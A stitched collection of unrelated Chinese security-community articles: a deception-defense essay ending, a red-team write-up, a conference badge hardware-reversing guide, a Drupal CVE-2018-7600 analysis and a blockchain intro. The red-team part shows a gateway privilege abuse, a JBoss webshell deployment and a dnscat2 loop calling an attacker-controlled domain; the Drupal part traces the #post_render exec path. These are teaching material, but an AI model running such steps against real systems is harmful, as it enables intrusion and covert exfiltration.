融合是欺骗防御和传统蜜罐的根本区别所在。传统蜜罐是上古时代就出现的安全技术，但是只在安全公司收集样本的时候使用，基本上与安全防御无缘。究其原因，是因为蜜罐的蠢和笨。三两个木头人，站在企业内网这么一大片树林里，想故意去碰它都未必找得到，何况是想等人无意中踩上来？所以我们做欺骗防御系统最关键的点，就是要让蜜罐安全地融入到业务系统之中，不仅仅是四层端口的融合，还包括七层业务的融合，甚至包括数据层面的融合。
最终要做到真实业务网和蜜网完全一体，你中有我我中有你，才算是实现了欺骗防御。部署完成后，原本1个资产有3个服务，可能变成4个服务。原本1000个IP，可能变成1200个IP。原本网站某个目录不存在，现在可能能够访问还返回一些错误信息。融合更多的是一种理念，需要结合各种技术以高安全、低成本、易部署的方式去实现。这些融合，甚至要依托最新的SDN、SDSec之类的技术，这里也是对传统APT检测产品那种点状模式的突破，在内部形成了一个拥有无数触角的大网。对渗透技术的把握，会反应在融合的思路上。兵无常势，水无常形。
第三个是分析。属于常规操作，不做赘述。值得一提的是，欺骗防御的分析，更多的是分析入侵者在入侵后的一些行为，如果真是拿逆天0day打进来的，这个0day是抓不到的，也不太可能分析出是怎么打进来的，除非运气好0day直接打在一个蜜罐上或者与这个蜜罐融合的那个影子上。
第四个，溯源。溯源不仅仅是传统的基于IP地址、物理位置的溯源，那种枯燥的东西毫无意义。欺骗防御的溯源，是要到人的溯源。区分自动化的机器程序和人的行为，并且能够不被VPN、代理所蒙蔽追溯到真实的信息，将同一个人的多种不同来源、多种不同行为关联到同一个人身上。这样的溯源才是有价值的，是生动的。做到这一步，其实有点回到了我序言所说的那种很贵的威胁情报。
## 总结
一句话，欺骗防御是传统APT检测产品、下一代防火墙产品的盟友，三者将会一起壮大这个市场。未来不局限于企业内网和云，更会扩展到IoT安全、工控安全等多个领域。这样的壮大，会在2022年之前到来。 | 社区文章 |
# 从网关进入内网到DNS协议出网
##### 译文声明
本文是翻译文章
原文地址：<https://mp.weixin.qq.com/s/_LjtSgwv7fWDEjPgh_1tZw>
译文仅供参考，具体内容表达以及含义原文为准。
在一个风和日丽的下午，特别适合躺在草坪睡大觉。六点十五分临近下班，突然微信响了。脑子里冒出“嗯哼？？？难道有小姐姐约我。”打开一看，被leader拉到一个群里，Oh
My God
快下班了，又要吩咐干活的节奏，时间紧迫，果然技术汪是不配有私生活的。在群里跟客户以及销售对接，收集了下测试的范围、客户需求、注意事项、以及项目完结的标准是什么等等。客户表示当红队评估的标准来干就好，如果你能横向内网的话就搞叭（此时的我仿佛在微信上看到客户露出诡异的笑容。）这是瞧不起我？不服气，给授权书，整，打穿他内网，就完事。
客户已经整理好一份列表，首先打开资产列表。提句题外话 ，你知道为什么人类要发明工具吗？因为长期劳动中都处于艰难的环境当中，然而工具的发明让人类能改善劳动。
作为脚本小子（工具党），当然是直接把URL链接整理一份，搭建好的Xray+Awvs一把梭。直接再慢慢一个个从Fofa、傻蛋、钟馗之眼等网络测绘引擎查询资产，使用端口探测nmap、和敏感文件、目录扫描工具，以及全球最大的程序员友好交流社区
github.com、网盘等等进行搜索和资产探测和漏洞扫描。
配置完工具，一看时间晚上七点十分，正好可以去楼下饭堂明目张胆的薅公司羊毛，吃个饭，慢悠悠点根烟再回来慢慢看。三十分钟过去后，回来一看工具已经跑完了，这大概就是***的力量叭。
打开漏洞扫描报告发现事情并不简单，只有一堆低危漏洞跟js框架版本太低可能造成xss，嗯？就这？就这？什么？？？顿时感觉刚吃的饭不香了，也难怪刚才客户在群里表现的很有自信的样子
。花了三十分钟把漏扫报告导出来套模版写完交差，晚上八点二十分，leader看到我的报告，表示很认可，本章节完。
其实这只是我幻想的，我骗你们的呢。leader看完后，表示你明天可以回村里种地了，不用过来上班。
呵，我岂是会为了这五斗米弯腰？
“开个玩笑，开个玩笑，我还没开始发力。”
“还有五天，你再好好看看。”
##
## 正式开始
##
害，这一届安全（hun
zi）真不好做，内心嘀咕着。捡起饭碗，接着看信息收集的列表，打开URL一个个看，看到一个特征SiteFiles，这不就是SiteServer嘛。
内心表示暗暗有戏，这道题我会，去年才看过有人分析事件有黑产利用的1day。小手一抖直接在URL后加上/SiteServer/
Oh…yee！？？再一顿目录扫描，好的凉了半截。
找不到后台，完全无望。如同编译工具时返回报错，告诉你找不到对象。本想着利用一波后台远程模版下载webshell，直捣dmz区黄龙。
只能回来再慢慢翻看看其他web资产，找了半天无果，一看凌晨十二点，该洗洗睡了，熬夜=秃头+猝死，秃头=找不到女朋友，溜了溜了。第二天起来再继续。
## 次日再战
多次尝试识别cms，继续掏出我的nday怼了一通，百思不得其webshell，大概这就是彩笔（hun zi）叭，脑海里响起老周的教导,只有不努力的黑客……。
不能就这么算，翻着翻着nmap端口扫描记录，找到一个8080端口X捷的路由网关，它长这样：
果断上wooyun备份库搜索一波记录学习姿势。
知道默认存在三个账号admin/master/guest。
掏出BurpSuite尝试爆破密码,由于它的账号密码是在auth这块进行校验，经过了base64编码，并且在密码后加个多余字符串的7(密码等级为7)。这里我们在linux下使用awk重新生成下字典。
root@x-5d67ef:~# awk '{print "guest:"$0}' x_pass.txt > x_pass_2.txt
root@x-5d67ef:~# awk '{print $0"7"}' x_pass_2.txt > x_pass_3.txt
得到字典。
接着导入我们的字典，我简单跑一下就设置了password top 100.以及base64编码一下。
得到账号密码为guest/guest，登录后针对/ LEVEL15/接口，修改command参数进行查看配置信息show run.
发现管理员admin密码为pwd!12345，害还是字典不够强大，不过读配置能看到也行（也可以把guest提权成admin，不过怕被发现尽量少留痕迹，能复用他原来的密码尽量复用）。Web页面登录管理员账号admin添加SSL
VPN账号user1/123456。
### 参考文献
《X捷EG易网关guest越权,可执行任意命令，通过vpn直接渗透内网》
《【RG-EG】RG-EG （网关模式）VPN功能配置SSL VPN》
## 内网渗透
拨入内网后，通过前面在路由器网关页面里查看到的配置信息。
得知内网IP大概有三个段，优先针对已知的信息进行常用端口探测（先不考虑可能改端口的情况）可以节约大部分时间，实在不行再尝试探测大A／B／C段IP存活，确定存活后再决定下一步端口探测。
通过一顿内网资产探测，找到两台使用了JBOSS中间件，确定存在对应漏洞，尝试各种exp直接远程命令执行，反弹nc无效，感觉做了VLAN隔离，我们这边只能访问业务服务器HTTP/HTTPS的web服务，而业务服务器无法访问我们指定的端口跟我们进行通信。那远程溢出不了，我们只能通过本地部署war包嵌套一句话木马进去，通过web服务协议访问webshell进行交互。
http://10.x.x.50:8080/jmxconsole/HtmlAdaptor?action=inspectMBean&nam
e=jboss.admin:service=DeploymentFileRepository,定位到store⽅法。
尝试直接上传test.war部署一句话到网站根目录，尝试访问下失败。
自己本地搭建了一下vulhub，发现复现正常，没啥特殊情况。。
这边估计有做过什么限制， 想了想。
应该可以把war包部署到已知的目录下，比如Jmx-console.war。说干就干，本地复现成功。转到当前环境下进行实现。
先修改BaseDir到./deploy/：
接着修改P1修改 为jmx-console.war p2文件名 p3文件后缀名 p4 一句话木马。
传⼊相应的值，即可getshell。
嘿嘿成功拿到两台root，但发现果然跟猜想的一样，服务器无法正常访问外网，做了限制。
跟客户沟通了下，客户说可以继续，让我们看看能不能把内网的机器跟外网的机器进行通信。既然得到准许了，那接下来就可以继续发挥发挥。
尝试使用ping www.qq.com 发现无法ping通，说明ICMP协议不行，直接冰蝎尝试socks5也不支持。使用curl
访问外网也不行，说明http/https也不出网。直接用msf反弹tcp也不支持。
Xd们把害怕打在公屏上。
接着想起多年溯源反制中，挖矿经常使用的DNS协议进行对外通信。查了下资料发现dnscat2可以支持，开源万岁，现学现卖。
先配置域名的dns。
A记录配置一个指向攻击者VPS的IP。
例如A记录0，对应IP108.x.x.216。
NS记录配置你前面设置的A记录。
006.xxx.bio 对应0.xxx.bio.
本地下载dnscat2，安装这里跳过，自己去看github上的文档叭。
本地执行监听：
./dnscat –dns domain=006.xxx.bio
接着上传client对应的代码到/tmp下。进行make编译。
编译完成后，执行命令。
nohup /bin/bash –c “white true; do /tmp/dnscat –dns domain=006.xxx.bio –max-retransmits 5”sleep 3600; done” > /dev/null 2 >&1
每隔一个小时进行反弹。
记住这里–dns domain一定要填域名，我前面测试尝试直接填IP进行dns
53端口通信发现不行（以及这个工具支持加密传输，如果怕被流量探测发现可以考虑把流量加密 参数–secret）。
成功反弹回来本地。
然后？
然后跟甲方爸爸汇报，甲方爸爸表示对咱们技术很认可，没必要再继续了。
## 总结回顾
1. 对外网大量资产常规cms进行漏洞探测无果。
2. 转战发现EG易网关。
3. 通过EG易网关找到未授权命令执行，添加vpn进入内网。
4. 对内网资产进行探测发现使用jboss中间件的服务器, 发现java反序列化无法直接利用。
5. 本地搭建环境进行漏洞复现，通过本地部署webshell到其他目录下绕过限制。
6. 发现各种协议无效，通过dns协议成功出网，结束本次项目。 | 社区文章 |
# 【技术分享】软硬皆施，深入揭密Syscan360会议胸牌破解奥义
|
##### 译文声明
本文是翻译文章，文章来源：阿里先知
原文地址：<https://xianzhi.aliyun.com/forum/read/535.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**作者：阿里安全IoT安全研究 谢君**
**背景**
有幸参加今年11月份的上海Syscan360安全会议，会议期间有一个亮点就是360的独角兽团队设计了一款电子badge(胸牌)供参加人员进行破解尝试，类似于美国Defcon上面的那种解密puzzle的比赛，在参会现场的人都可以参加这种破解，总共9道题，规则是现场会给每道题谜面，在这块胸牌上面输入正确的谜底才能进入下一题，解题需要开脑洞，有好些人参与破解，而且有好些人都解出来了，今天笔者从这块胸牌的硬件和软件层面去揭密这个胸牌的一些有意思的功能和如何在不需要知道谜面的情况下，快速解密答案，算是硬件破解方面抛砖引玉。
**初识篇**
我这边看到有两块板，一块黑色一块红色，其中黑色如下：
**硬件配置如下：**
MCU: 德州仪器TI CC1310 型号（CC1310F64RGZ）VQFN (48) 7.00 mm × 7.00 mm
ARM Cortex-M3处理器,时钟速度高达48Mhz
64KB片上可编程flash，20KB静态内存SRAM，30个GPIO口
RF Core支持收发1Ghz以下的无线信号
外置存储器: Winbond 25Q32bvsig
32Mbits存储空间
一个LCD液晶屏
四个led灯，若干电阻和电容，6个按键和开关，所有的这些构成一个小型的嵌入式系统
**使用方法：**
6个按键，分别负责切换不同的可打印的ASCII码，删除，进入和返回等功能。
只有所有的关卡通过后才能出现控制闪灯和产生红外信号去关闭遥控电视的功能，这是后话，后面细讲。
**硬件篇**
要想了解里面的原理和功能，必须得拿到里面的代码逻辑。通过查阅MCU
CC1310芯片的数据手册，我们发现它支持jtag仿真调试，我们只需要外挂支持ARM的仿真器，就可以进行整个内存空间的访问和片上动态调试，这一点对于我们逆向来讲非常有帮助，CC1310芯片布局如下。
DIO_16 26 Digital I/O GPIO, JTAG_TDO, high-drive capability
DIO_17 27 Digital I/O GPIO, JTAG_TDI, high-drive capability
我们知道要进行jtag调试需要至少4根信号线分别是TMS,TCK,TDI,TDO，(RST可选)最后是GND(接地),
具体JTAG的定义和各个信号线的定义大家可以网上搜索，我就不赘述了，找到这几个信号线接到相应的仿真器上就可以进行调试了。
从该MCU的电子手册我们得知这四个信号线的Pin脚位置如下。
TMS 24
TCK 25
TDO 26
TDI 27
然后我们可以通过万电表量出这几个引脚引出来的位置，刚好这板子已经把这几个信号脚引出来了，也省去我们不少麻烦。
好了，焊好线后，需要我们的仿真器出场了，笔者使用的ft2232h mini
module，当然大家也可以选用别的仿真器，像jlink之类的，简单说一下这个mini
module，它是一个多硬件协议(MPSSE)集一身的小模块，比如SPI/JTAG/I2C等，共用GPIO口，非常方便，接下来就是连线了，连接图如下。
右边是mini module CN-2接口Pin脚，左边是CC1310的引脚，GND随便找一个板子接地的地方接上就好了。
下面就是ft2232h mini module。
好了，接下来就是激动人心的时刻了。
**软件篇**
硬件连接准备就绪后，我们开始驱动仿真器来进行片上调试。
调试工具准备如下：
OpenOCD (开源的硬件调试软件)
Arm-none-eabi-gdb (arm版的gdb)
在使用openocd之前需要准备好cc1310的调试配置文件cc1310.cfg，在
[http://openocd.zylin.com/gitweb?p=openocd.git;a=blob;f=tcl/target/cc1310.cfg;h=8f86bd4b965a02922ae1abc98f53c8a4c65f9711;hb=27c749394270555698e3f5413082d5c6898d8151
](http://openocd.zylin.com/gitweb?p=openocd.git;a=blob;f=tcl/target/cc1310.cfg;h=8f86bd4b965a02922ae1abc98f53c8a4c65f9711;hb=27c749394270555698e3f5413082d5c6898d8151%BF%C9%D2%D4%D5%D2%B5%BD)
可以找到。
一切准备妥当，接下来就可以开始见证奇迹的时刻了。
运行telnet localhost 4444进行命令行来控制操作cpu或者内存空间，在这里我们可把cpu halt暂停下来，cpu重置，设置断点等操作。
在这里我们执行halt命令，cpu就断下来了，效果如下
这个时侯我的gdb就可以远程attach上去进行动态调试与内存空间访问了。
运行arm-none-eabi-gdb，gdb里面执行target remote localhost:3333
进行远程调试连接，可以内存空间访问与动态调试。
好了，我们可以内存空间访问了，先把固件，flash，和内存数据dump出来，静态分析一下吧。
如下是cc13xx芯片的内存空间地址映射表，它可以让我们知道dump哪些有用的数据。
0地址开始到0x10000是我们CC1310F64型号的flash的地址空间
BootROM是从0x10000000到0x10020000
SRAM地址从0x20000000到0x20005000
好了，我们就dump这三块位置。
在gdb里面运行如下命令：
dump binary memory cc1310_flash.bin 0 0x10000
dump binary memory cc1310_brom.bin 0x10000000 0x10020000
dump binary memory cc1310_sram.bin 0x20000000 0x20005000
好了，合并这三个文件用IDA进行反汇编，不同的段进行地址重定位，可以做到地址精确引用，如下。
好了，接下来就是逆向篇了，如何找到答案和分析其代码逻辑等等。
**逆向篇**
我们通过IDA里面的一些字符串获得一些线索。
然后我们很快找到每一道题的答案了。
解释一下这里面的一些逻辑。
这里面每一道题的提示和答案，还有用户自定义ID存储在flash
0xe000开始的区域里面，总共长度0xe2个字节，运行时会把这块区域数据读到SRAM里面，在SRAM里面进行操作，然后把SRAM结果写回到0xe000这块区域里，以保证下次设备重启数据和进度不会丢失，其结构如下。
0xe000 —0xe010 存储用户设置的ID
0xe014 — 0xe015
存储用户过了多少关了（直接改成9就通关了：），修改SRAM里面相应的存储的数据，然后通过ID设置来触发写回到0xe014，这样就生效了）
如下是不同关卡的提示和答案：
比较每一个关卡的用户输入答案，并进行更新
0x20001060存储着flash地址0xe000里面的数据
偏移0x14就是用户当前所在关卡数，如果答案比较相等，这个关卡数加1并写回到flash里面，并在屏幕上显示『right!』。
**总共9道题的答案分别是：**
UR1NMYW0RLD!
42
ORDREDUTEMPLE
FQJPVDPOK
VYTX
LOYAL
GNILCS
FIBONACHI
WORLD
通关最后的结果如下：
如果你只想知道答案，看到这里就可以了，接下来会讲讲里面的一些其它功能。
**探密TVB Gone功能篇**
当所有的关卡都通过后，会多出来两项列表，分别是：
6\. Led Light
7\. TVB Gone
进入Led Light前置的两个led灯可以显示3种颜色，这里是通过设置12号GPIO和19号GPIO口，对应在芯片上的引脚是18和29.
这里我们重点关注这个TVB
Gone功能，这个一个可以通过红外信号远程关闭很多不同品牌的电视的小应用，具体介绍参考[https://en.wikipedia.org/wiki/TV-B-Gone](https://en.wikipedia.org/wiki/TV-B-Gone)
我们知道我们家里面使用的电视的遥控器，一般都是发射的红外信号，来控制电视的开关，调台等操作，这个TVB
Gone的功能就是通过发射不同品牌和不同频率的控制信息来达到关闭遥控电视的目的。
红外控制信号通过一定频率的PWM(脉冲宽度调制)调制方式输出给led灯，led灯产生的红外信号影响遥控电视。
研究发现这个板子里面存储了80组红外控制信号源数据，通过特定的数据结构来存储，例如如下。
如下是存储每一组数据的地方指针列表
我们挑选其中一组来看
解释一下每个字段的含义：
0x9600：表示这种数据的发射频率38400Hz
0x1a：表示有多少对数据需要发送出去
0x02：表示每发送一对信号里面承载着2个bit数据
0x9e38：表示存储时间对的指针地址
0x97b4：表示要发送的数据的指针地址
地址0x97b4在存储的数据如下：
{0xe2, 0x20, 0x80,0x78,0x88,0x20,x10}
上面有讲这些数据需要发送26次，每次是2个bit，总共就是52个bit
上面是7个字节，总共是56个bit，还有4个bit怎么办，后面再说。
这个时候我们需要说说存储时间对的指针了。
地址0x9e38存储的时间对：
{60，60，
60，2700，
120，60，
240，60}
这个时间对分别是time on和time off
解释这两个概念时先计算一下PWM调制的周期时间
1/38400=26μs（微秒）
该MCU的系统时钟是46Mhz，这里使用了一个16位的通用定时器GPT TimerB
我们通过代码得知该PWM调制的占空比（duty cycle）是33.3%，什么是占空比，就是在一个PWM周期里面高电平占总电平的比例，如下图：
这个PWM的周期是26μs，高电平是8.84μs，所以占空比就是8.84/26=33.3%，也就是1/3，我们从代码里面也能看到。
这个PWM输出使用的是4号GPIO口，地址0x40022090是设置各个GPIO口置bit1的地方，这里赋值0x10刚好是置4号GPIO口bit1，也就是高电平，地址0x4001002c设置定时器时间，也就是这个高电平持续多长时间，后面0x400220a0是设置各个GPIO口清除bit1，也就是置bit0，这个是0x10，表示置4号GPIO口bit0，也就是进入低电平，设置定时器长度在地址0x4001002c，时长是高电平的2倍，这就是一个周期time
on的状态，通过计算我们能够得出一个周期高电平的时长。
系统时钟周期1/46000000
(46000000/38400/3.0)*( 1/46000000)=8.67μs
好了，继续回来上面的时间对Time on和time off
{60，60，
60，2700，
120，60，
240，60}
把每个数字乘以10，时间单位是微秒，这个10怎么来的，代码里面看到的，不知道原因（搞硬件的同学帮忙解释下）。
{600，600，
600，27000，
1200，600，
2400，600}
每对数字前的数字表示Time on，就是在这个数字的时间内，PWM信号周期性出现，后面的数字Time Off表示低电平没有PWM周期性变化。
这两个组合在一起的PWM信号就是表示数字信号里面的2个bit位，上面有提到
{600，600，代表bit 位『0 0』
600，27000，代表bit 位『0 1』
1200，600，代表bit 位『1 0』
2400，600} ，代表bit 位『1 1』
所以这个红外信号就是通过PWM的这种方法调制发射出去的，继续上面的例子，我们要发送的数据如下。
{0xe2, 0x20,0x80,0x78,0x88,0x20,x10}
发送数据的顺序是LSB，就是从左到右开始发，比如0xe2的比特数据是
“ 11100010 ”
先发11，10，00，10对应的发送时间序列对就是
2400，600
1200，600
600， 600
1200，600
我们可以通过逻辑分析仪来看这些信号发送的情况
第一组发送的比特11
Time on 2400微秒（也就是2.4毫秒），我们观察到按照周期性变化的PWM信号长度就是2.4毫秒，低电平的时长就是600微秒左右
第二组发送的比特10
time on时长1200微秒，time off时长600微秒
第三组发送的比特00
time on时长600，time off时长600
第四组发送的比特10
time on时长1200微秒，time off 600微秒
好了，上面我们有提到要发送的数据是7个字节，56bit，但是只发送了26对也就是52bit，还有4bit怎么办，我们看最后一个字节0x10对应的比特位是00010000
因为最后4位都是bit0，所以直接低电平补位了（猜测）。
最后在14秒左右遍历了80组红外信号来尝试关闭远端的摇控电视
**
**
**外置Flash篇**
我们似乎忘记了那个4MB的winbond的外置flash了，它的功能如下：
6. 1\. 存储一些文字介绍信息
7. 2\. 存储LCD文字显示映射码
8. 3\. 存储启动的图片
9. 4\. 存储了一个变量
如果dump外置flash？
先祭出我的神器FT2232h Min Module，用热风枪把外置flash吹下来，
然后夹住，连线如下图，SPI接口一一对应好就可以了。
通过软件flashrom来读取flash里面的内容
运行flashrom –p ft2232_spi:type=2232H,port=A –r flash_cc.bin
LCD显示是通过硬件I2C协议写入数据，ASCII码和UNICODE显示逻辑如下
汉字通过UTF8解码然后GBK编码后存储
所以想在显示屏上面显示中文汉字，只需要把汉字UTF8解码然后GBK编码后放到相应的位置就可以了，例如
>>> '谢君'.decode('utf8').encode('gbk')
'xd0xbbxbexfd'
这四个字节写入地址0x20001060处，然后写回内置flash就出来如下效果了。
**
**
**无线通信篇（RF）**
该板子带一个无线收发功能，中心频率是433.92Mhz，速率50Kbps，2-GFSK方式调制，该无线功能一直处于监听状态，当收到服务端发过来的相应命令的数据包时，会做相应的解析，并且发相应的包响应。
**这个无线功能有如下一些功能** ，我就挑选了几个：
广播请求客户端提交你们的用户id信息
广播请求客户端提交你们的通过关卡数的信息
**服务端器发送无线数据格式如下：**
0x00 0xaa无线通信前导码(preamble)
0x01 数据包payload长度
0x02 请求命令
0x03-0x04 header 0x5555或者0x2b2
0x05 序列号(seq)
0x06 地址
0x07 子命令
end 两个字节的数据包校验和
**客户端发送数据格式如下：**
0x00 0xaa前导码
0x01 数据包长
0x02 请求命令
0x03-0x04头部header 0x02 0xb2
0x05 对应服务端发过来的地址
0x06 子命令
0x7—需要提交的一些数据
end两个字节的校验和
**校验和算法：**
把字段数据包长度后面的数据，不包括校验和字段，每个字节数据相加结果再和校验和作比较。
我节选了几个数据交互对，由于我们现在不可能收到服务器发的数据，所以只能根据逆向代码来判断发送的内容是什么样的：
recv是来自服务器发的，send是我们的板子响应发出去的。
Seq是序列号，add是地址，各占一个字节
**请求提交你过了多少关：**
recv 0xaa 0x06 0x02 0x55 0x55 seq add 0x01 chk1 chk2
send 0xaa 0x08 0x03 seq 0x02 0xb2 add 0x01 0xff 0x09 chk1 chk2
**请求提交板子的用户id，名字长度是16个字节：**
recv 0xaa 0x06 0x02 0x55 0x55 seq add 0x03 chk1 chk2
send 0x0a 0x16 0x03 seq 0x02 0xb2 add 0x03 username chk1 chk2
**其它：**
recv 0xaa 0x06 0x04 0x02 0xb2 seq add 0x01 chk1 chk2
send 0xaa 0x05 0x05 seq 0x02 0xb2 add chk1 chk2
**结论**
当然还有改进的空间，比如在解题算法代码上面，不要用明文存储答案，经过一些算法混淆处理，可以提高代码分析的门槛。
1. 硬件上面的一些反调试对抗，可以考虑一些芯片硬件特性的支持，比如今年defcon上面使用的intel在quark d2000 x86芯片，里面有一个jtag的disable的OTP比特位，烧录设置后jtag硬件调试就不能用了。
2. 相信他们在设计这块板子的时候也是付出了很多精力，逆向也是一个学习的过程，感谢。
3. | 社区文章 |
作者：绿盟科技
来源：[http://blog.nsfocus.net/cve-2018-7600-analysis/?from=timeline&isappinstalled=0](http://blog.nsfocus.net/cve-2018-7600-analysis/?from=timeline&isappinstalled=0)
近日，流行的开源内容管理框架Drupal曝出一个远程代码执行漏洞，漏洞威胁等级为高危，攻击者可以利用该漏洞执行恶意代码，导致网站完全被控制。漏洞对应的CVE编号为CVE-2018-7600。
本篇文章对Drupal 8 –
CVE-2017-7600漏洞进行了详细分析。这个漏洞看起来是一个漏洞，其实我认为，它是由两个小的鸡肋问题组成的。具体是什么呢？
#### 漏洞分析
这个漏洞的根本原因出在drupal对表单的渲染上：
可见，在drupal中，我们不需要直接写html表单，而是先创建一个数组，表单呈现引擎通过位于`\drupal\core\lib\Drupal\Core\Form\FormBuilder.php`文件中的buildForm方法构造出一个名为$form表单，然后成对应的html表单进行呈现。
通过下图buildform的定义，可以看出它是用来构造一个表单的
最终的$form是如下图这个样子：
这个漏洞，恰恰就出在了这里。
但是对于一个drupal框架的应用程序来说，后台表单数组都是开发者写好的，像这个样子
public function form(array $form, FormStateInterface $form_state) {
$user = $this->currentUser();
/** @var \Drupal\user\UserInterface $account */
$account = $this->entity;
$admin = $user->hasPermission('administer users');
// Pass access information to the submit handler. Running an access check
// inside the submit function interferes with form processing and breaks
// hook_form_alter().
$form['administer_users'] = [
'#type' => 'value',
'#value' => $admin,
];
$form['#attached']['library'][] = 'core/drupal.form';
// For non-admin users, populate the form fields using data from the
// browser.
if (!$admin) {
$form['#attributes']['data-user-info-from-browser'] = TRUE;
}
// Because the user status has security implications, users are blocked by
// default when created programmatically and need to be actively activated
// if needed. When administrators create users from the user interface,
// however, we assume that they should be created as activated by default.
if ($admin) {
$account->activate();
}
// Start with the default user account fields.
$form = parent::form($form, $form_state, $account);
return $form;
}
攻击者是无法改变表单数组元素的key值的。
很多应用都提供了如下的一个便利的方法：
比如要注册一个用户，用户名、密码、邮箱、电话，这些东西都填好了。当点击提交的时候，网站告诉你，用户名已存在。
这时候，你会发现，密码、邮箱、电话这些元素不需要你再次填写了，页面已经将保存下来了。
drupal系统同样有这样的功能，具体如何实现的呢？下面我们做个试验：
我们先提交个正常的表单
先在buildform函数返回处下断后
填写表单并提交
页面跳转到注册成功页面，
我们在buildform函数返回处下的断点根本没有断下来。
接着我们再按着上面的表单一模一样的注册一个看看：
但这次呢，在断点处成功断下了：
在这处断点，我们把name的值改为“kingsguard_test_1”试试
这次的返回页面如下：
整个流程是：
1. 用户填写表单->表单没有问题->返回注册成功页面
2. 用户填写表单->表单内容有问题（例如用户名已被注册）->调用buildform方法，把用户传入的内容一同构造为表单数组->渲染表单数组为html页面返回
这就是刚刚在buildform断点处把name值由kingsguard改为`kingsguard_test_1`，返回的页面里username值也变成`kingsguard_test_1`的原因。
到这里，攻击链已经很明确了，攻击者传入的值，可以通过buildform（方法构造表单数组，并且这个表单数组接下来还会被drupal表单呈现引擎解析为html页面。
当我们在这个注册表单页面里，如果想上传一张图片
这时候发送的请求如下
当上传成功后，往往有一个缩略图显示在那，如下图菊花处：
这个缩略图，是通过`drupal\core\modules\file\src\Element\ManagedFile.php`文件中的uploadAjaxCallback方法来解析。
注意，还记的上文buildform方法吗？buildform生成form数组传递给uploadAjaxCallback方法来解析，目的是在返回页面上显示那个缩率的菊花。
既然流程已经捋顺了，我们通过构造poc来动态调试下，发送如下图post包：
首先会进入buildform函数来构造表单数组，接下来这个表单数组($form)会进入uploadAjaxCallback方法。
看下这个uploadAjaxCallback方法：
传入uploadAjaxCallback方法中的$form变量，就是buildform方法生成的表单数组：
$form数组传入uploadAjaxCallback方法中后,可以看到有这么一行（下图红框处）：
`$form_parents`变量竟然可以从get中传入，意味着这个变量可控,其实就是我们poc中的`element_parents=account/mail/%23value`。
通过poc，此处的`$form_parents`变量如下图
`$form_parents`变量和form
新的form变量如下：
接下来看这里的renderRoot方法：
此处传入的$form变量为：
继续看renderRoot方法：
public function renderRoot(&$elements) {
// Disallow calling ::renderRoot() from within another ::renderRoot() call.
if ($this->isRenderingRoot) {
$this->isRenderingRoot = FALSE;
throw new \LogicException('A stray renderRoot() invocation is causing bubbling of attached assets to break.');
}
// Render in its own render context.
$this->isRenderingRoot = TRUE;
$output = $this->executeInRenderContext(new RenderContext(), function () use (&$elements) {
return $this->render($elements, TRUE);
});
$this->isRenderingRoot = FALSE;
return $output;
}
里面调用了render方法
继续看render方法：
public function render(&$elements, $is_root_call = FALSE) {
// Since #pre_render, #post_render, #lazy_builder callbacks and theme
// functions or templates may be used for generating a render array's
// content, and we might be rendering the main content for the page, it is
// possible that any of them throw an exception that will cause a different
// page to be rendered (e.g. throwing
// \Symfony\Component\HttpKernel\Exception\NotFoundHttpException will cause
// the 404 page to be rendered). That page might also use
// Renderer::renderRoot() but if exceptions aren't caught here, it will be
// impossible to call Renderer::renderRoot() again.
// Hence, catch all exceptions, reset the isRenderingRoot property and
// re-throw exceptions.
try {
return $this->doRender($elements, $is_root_call);
}
catch (\Exception $e) {
// Mark the ::rootRender() call finished due to this exception & re-throw.
$this->isRenderingRoot = FALSE;
throw $e;
}
}
里面调用了doRender方法
继续看doRender方法：
在这个方法的505行
调用call_user_func方法
此处的参数如下：
可见，这里的
`$callable=”exec”`
`$elements[‘#children’]=”kingsguard_text”`(这里我们传入的恶意代码，这里我就不演示了)
#### 总结:
这个漏洞看起来是一个漏洞，其实我认为，它是由两个小的鸡肋的问题组成的，第一次就是在buildform处，用户传入的变量没有受到限制，导致可以传入mail[#post_render]、mail[#type]这样的变量，但是单单这个问题，还不严重，因为对于最终渲染的html页面来说，传入的数组仍然是数组，不能被当成元素来解析。但是偏偏uploadAjaxCallback方法中的`$form_parents`变量是直接通过get(‘element_parents’)得来的，这下两个一结合，`$form_parents`把之前传入的数值当成元素了，这下就造成了一个大洞。
* * * | 社区文章 |
**作者：0x7F@知道创宇404实验室**
**时间：2020年01月09日**
### 0x00 前言
随着技术浪潮的涌动，国家政策的推动，区块链又慢慢的进入了我们的视野中。在 2020
年初这个时刻，不妨我们再回头看看区块链的发展，聊聊区块链中的几个技术点，为新的一年打打基础。
2017 年是数据货币大爆发的一年，其标志性事件是 2017 年 12 月比特币价格达到历史最高，并将区块链引入公众的视野中；也因此，2018
年被称之为区块链元年，各类数字货币和与区块链沾边的技术如雨后春笋般出现在互联网上；后来随着区块链的监管力度增大，2019
年则是区块链冷寂的一年，最后经过考验的都是具有价值的区块链项目。
那么本文，我们就抛开数字货币不谈，仅从区块链的方面来聊聊；文中使用比特币 `v0.19.x(commit:
0655c7a94cc9bf54d43eceed805e83f1b59e2409)` 的源码来帮助理解。
### 0x01 区块链的简介
区块链随着比特币的诞生而诞生，首次出现于比特币的白皮书中(<https://bitcoin.org/bitcoin.pdf>)，用于存储比特币的交易记录；在比特币中，根据时序将多条交易记录整理集中存储以形成区块，块与块之间采用哈希值的方式连接形成链式结构，我们将这种结构称为区块链。
比特币中，多个节点通过P2P网络共同维护一条区块链，使得这种链式结构具有去中心化、不可篡改、可追溯等特性。后续的以太坊、超级账本等项目也都基于这种链式结构。
这里我们抛开数字货币，把区块链作为主角来看，我们可以更加容易的来理解区块链：区块链就是一个基于P2P的分布式数据库，以多个节点共同维护一份数据；那么从这个角度来看，比特币的区块链存储的「交易记录」也是数据，只是数据比较特别而已。
### 0x02 区块链vs分布式数据库
我们可以认为区块链就是基于P2P的分布式数据库，是因为区块链和分布式数据库有着相似的目标：使用多个节点来共同维护一份数据。
但我们仅仅以「存储」这一个操作来理解，并且忽略掉了它们本身的应用场景、默认所有节点都是可信、可靠、无延时通信的、等等。实际环境下，我们需要去考虑如上诸多的因素，因此区块链不能等同于分布式存储数据库。
我们使用表格来对比区块链和分布式数据库：
| 区块链 | 分布式数据库
---|---|---
架构 | 分布式 | 分布式
价值主张 | 数字化信任系统 | 高性能存储和访问
网络通信 | peer-to-peer | client-server
管理方式 | 集中管理 | 分散管理
数据结构 | 链式 | 索引、等等
节点关系 | 怀疑 & 制约 | 信任 & 协作
一致性 | 共识算法 | 主从复制
数据持久 | 数据不可变 | 可修改 & 非持久
性能 | 低 | 高
